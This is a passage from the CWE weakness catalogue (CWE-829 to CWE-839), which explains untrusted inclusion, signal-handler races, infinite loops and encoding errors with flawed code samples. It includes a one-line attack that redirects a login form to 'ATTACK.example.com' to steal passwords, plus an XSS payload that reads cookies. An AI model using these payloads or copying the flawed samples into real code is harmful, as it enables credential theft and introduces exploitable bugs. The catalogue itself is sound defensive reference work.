    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" (see references).

Observed Examples

Reference	Description
CVE-2008-4109	Signal handler uses functions that ultimately call the unsafe syslog/malloc/s*printf, leading to denial of service via multiple login attempts *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4109*
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051*
CVE-2001-1349	unsafe calls to library functions from signal handler *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1349*
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0794*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2259*
CVE-2002-1563	SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1563*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG31-C		Do not access or modify shared objects in signal handlers

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID : 829 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307
ParentOf	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217
ParentOf	V	827	Improper Control of Document Type Definition	1527
ParentOf	V	830	Inclusion of Web Functionality from an Untrusted Source	1538

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands *An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML *(bad)*

```
<div class="header"> Welcome!
    <div id="loginBox">Please Login:
        <form id ="loginForm" name="loginForm" action="login.php" method="post">
        Username: <input type="text" name="username" />
        <br/>
        Password: <input type="password" name="password" />
        <input type="submit" value="Login" />
        </form>
    </div>
    <div id="WeatherWidget">
        <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
    </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript *(attack)*

```
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2076*

CWE-830: Inclusion of Web Functionality from an Untrusted Source

Weakness ID : 830 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the software, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1532

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML *(bad)*

```
<div class="header"> Welcome!
    <div id="loginBox">Please Login:
        <form id ="loginForm" name="loginForm" action="login.php" method="post">
        Username: <input type="text" name="username" />
        <br/>
        Password: <input type="password" name="password" />
        <input type="submit" value="Login" />
        </form>
    </div>
    <div id="WeatherWidget">
        <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
    </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript *(attack)*

```
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

CWE-831: Signal Handler Function Associated with Multiple Signals

Weakness ID : 831 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software defines a function that is used as a handler for more than one signal.

Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	802

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	387	Signal Errors	1861

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Read Application Data	
Access Control	Gain Privileges or Assume Identity	
Other	Bypass Protection Mechanism Varies by Context *The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.*	

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals.

Example Language: C *(bad)*

```
void handler (int sigNum) {
    ...
}
int main (int argc, char* argv[]) {
    signal(SIGUSR1, handler)
    signal(SIGUSR2, handler)
}
```

Example 2:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

CWE-832: Unlock of a Resource that is not Locked

Weakness ID : 832 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software attempts to unlock a resource that is not locked.

Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Other	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Modify Memory Other *Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.*	

Observed Examples

Reference	Description
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4210*
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4302*

Reference	Description
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1243*

CWE-833: Deadlock

Weakness ID : 833 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-834: Excessive Iteration

Weakness ID : 834 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Weakness ID : 835 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

Extended Description

If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf	G	834	Excessive Iteration	1544

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification *An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.*	

Demonstrative Examples

Example 1:

In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.

Example Language: C *(bad)*

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    int servsock;
    int connected;
    struct sockaddr_in servaddr;
    // create socket to connect to server
    servsock = socket( AF_INET, SOCK_STREAM, 0);
    memset( &servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = inet_addr(hostaddr);
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
    // keep trying to establish connection to the server
    } while (connected < 0);
    // close socket and return success or failure
    ...
}
```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

Example Language: C *(good)*

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    // initialize number of attempts counter
    int count = 0;
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // increment counter
        count++;
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
    // keep trying to establish connection to the server
```

```
    // up to a maximum number of attempts
    } while (connected < 0 && count < MAX_ATTEMPTS);
    // close socket and return success or failure
    ...
}
```

Example 2:

For this example the method isReorderNeeded as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java *(bad)*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
    // get inventory count for book
    int inventoryCount = inventory.getIventoryCount(bookISBN);
    // find number of days until inventory count reaches minimum
    while (inventoryCount > minimumCount) {
        inventoryCount = inventoryCount - rateSold;
        days++;
    }
    // if number of days within reorder timeframe
    // set reorder return boolean to true
    if (days > 0 && days < 5) {
        isReorder = true;
    }
    return isReorder;
}
```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop,as in the following code.

Example Language: Java *(good)*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return isReorder;
    }
    ...
}
```

CWE-836: Use of Password Hash Instead of Password for Authentication

Weakness ID : 836 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

Extended Description

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CVE-2005-3435	Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435*

CWE-837: Improper Enforcement of a Single, Unique Action

Weakness ID : 837 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software requires that an actor should only be able to perform an action once, or to have only one unique action, but the software does not enforce or improperly enforces this restriction.

Extended Description

In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-838: Inappropriate Encoding for Output Context

Weakness ID : 838 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

Extended Description

This weakness can cause the downstream component to use a decoding method that produces different data than what the software intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were

not sent by the software. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.

For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of software that uses a communications stream that could support multiple encodings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	C	116	Improper Encoding or Escaping of Output	260

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.*	

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

Phase: Architecture and Design

Strategy = Output Encoding

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Note that some template mechanisms provide built-in support for the appropriate encoding.

Demonstrative Examples

Example 1:

This code dynamically builds an HTML page using POST data:

Example Language: PHP *(bad)*

```
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) ."</title>";
echo "<img src='". htmlentities($picSource) ." ' alt='". htmlentities($picAltText) . "' />';
...
```

The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set picAltText to:

Example Language: *(attack)*

```
"altTextHere' onload='alert(document.cookie)"
```

This will result in the generated HTML image tag:

Example Language: HTML *(result)*

```
<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

Observed Examples

Reference	Description
CVE-2009-2814	Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2814*

CWE-839: Numeric Range Comparison Without Minimum Check

Weakness ID : 839 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum.

Extended Description

Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used

for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1023	Incomplete Comparison with Missing Factors	1635
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanPrecede	B	124	Buffer Underwrite ('Buffer Underflow')	298
CanPrecede	V	195	Signed to Unsigned Conversion Error	457
CanPrecede	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
